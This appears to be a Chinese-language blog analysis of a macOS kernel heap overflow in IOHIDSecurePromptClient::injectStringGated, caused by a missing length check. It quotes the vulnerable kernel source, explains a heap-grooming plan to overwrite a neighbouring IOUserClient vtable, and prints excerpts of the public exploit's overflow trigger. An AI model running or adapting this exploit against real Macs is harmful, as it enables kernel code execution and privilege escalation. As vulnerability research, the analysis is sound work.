IOHIDSecurePromptClient::injectStringGated堆溢出漏洞
前两周网上有披露一个IOHID中的堆溢出漏洞,并且有完整的攻击代码,这里做个简单的分析:D
漏洞出现在IOHIDSecurePromptClient的12号处理函数中:
IOExternalMethod *
IOHIDSecurePromptClient::getTargetAndMethodForIndex(IOService ** targetP,
UInt32 index)
{
...
// 12: kIOHIDSecurePromptClient_injectString
{ NULL, (IOMethod)&IOHIDSecurePromptClient::injectStringMethod, kIOUCStructIStructO, kIOUCVariableStructureSize, 0 },
...
};
injectStringMethod -> injectStringGated 函数中将输入的参数拷贝到缓冲区时没有对长度做任何检查,从而会导致堆溢出:
IOReturn
IOHIDSecurePromptClient::injectStringGated(void * p1, void * p2, void * p3 __unused,void * p4 __unused)
{
IOReturn result = kIOReturnBadArgument;
IOHIDSecurePromptClient_RawKeystrokeData * dummyRawData = NULL;
UTF32Char *string = (UTF32Char*)p1;
intptr_t length = (intptr_t)p2 / sizeof(UTF32Char);
vm_size_t dummyDataSize = length * sizeof(IOHIDSecurePromptClient_RawKeystrokeData);
...
dummyRawData = (IOHIDSecurePromptClient_RawKeystrokeData*)IOMalloc(dummyDataSize);
memset(dummyRawData, 0xff, dummyDataSize);
// _reserved->rawKeystrokes是在IOServiceOpen的时候分配的堆内存,在这里拷贝的时候没有检查输入的length
__InsertBytes(_reserved->rawKeystrokes, _reserved->insertionPoint, _reserved->stringLength, string, length, sizeof(UTF32Char));
__InsertBytes(_reserved->unicode, _reserved->insertionPoint, _reserved->stringLength, dummyRawData, length, sizeof(UTF32Char));
__EraseMemory(string, length * sizeof(UTF32Char));
_reserved->insertionPoint += length;
result = kIOReturnSuccess;
...
}
_reserved->rawKeystrokes的初始化在 initWithTask -> ensureBufferSize 函数中:
bool
IOHIDSecurePromptClient::initWithTask(task_t owningTask,
void* security_id,
UInt32 type,
OSDictionary * properties)
{
...
// initially we allow for a 32 character password but will grow it if needed
require_noerr(ensureBufferSize(32), init_error);
...
}
IOReturn
IOHIDSecurePromptClient::ensureBufferSize(UInt32 size)
{
...
// newSize = size = 32
// round size up to next power of two
newSize--;
newSize |= newSize >> 1;
newSize |= newSize >> 2;
newSize |= newSize >> 4;
newSize |= newSize >> 8;
newSize |= newSize >> 16;
newSize++;
result = kIOReturnNoMemory;
require(newSize < 1024, finished);
newBufferSize = newSize * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
// newBufferSize = 32*12 = 384 分配的堆在kalloc.512的zone里
newBuffer = (UInt8*)IOMalloc(newBufferSize);
require(newBuffer, finished);
newKeystrokeOffset = newBuffer + newSize * sizeof(UTF32Char);
memcpy(newBuffer, _reserved->unicode, _reserved->stringLength * sizeof(UTF32Char));
memcpy(newKeystrokeOffset, _reserved->rawKeystrokes, _reserved->stringLength * sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
oldBuffer = (UInt8*)_reserved->unicode;
oldBufferSize = _reserved->bufferLength * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
_reserved->unicode = (UTF32Char*)newBuffer;
// _reserved->rawKeystrokes 被设置为 newBuffer+32*4 的位置
_reserved->rawKeystrokes = (IOHIDSecurePromptClient_RawKeystrokeData*)newKeystrokeOffset;
_reserved->bufferLength = newSize;
newBuffer = NULL;
result = kIOReturnSuccess;
...
}
攻击代码中的利用思路:通过heap风水使newBuffer正好分配在一个IOUserClient对象(同样在kalloc.521)的前面,那么通过调用injectStringGated溢出8字节就可以修改之后对象的vtable,从而获取代码执行的可能。注意传入的参数对象长度是 512-32*4+size_to_overwrite(demo代码中为8字节vtable地址) = 384+8
int main(int argc, const char * argv[]) {
...
uint64_t payload[1];
void** vtable = alloc((void*)0x1337100000, 0x1000);
payload[0] = (uint64_t)vtable;
if (!lsym_heap_overflow((void*)payload, sizeof(payload)))
{
printf("[-] Heap overflow unsuccessful.n");
}
...
}
char lsym_heap_overflow(char* data, size_t size) {
...
size += 384;
char* payload = malloc(size);
memcpy(payload + 384, data, size - 384);
if (size >= lsym_heap_overflow_bufsize()) {
return 0;
}
err = IOConnectCallMethod(conn, 10, NULL, 0, payload, size, NULL, 0, NULL, 0); // heap overflow >= 10.10.1
if (err != KERN_SUCCESS)
err = IOConnectCallMethod(conn, 12, NULL, 0, payload, size, NULL, 0, NULL, 0); // heap overflow <= 10.10.1
if (err != KERN_SUCCESS) return 0;
return 1;
}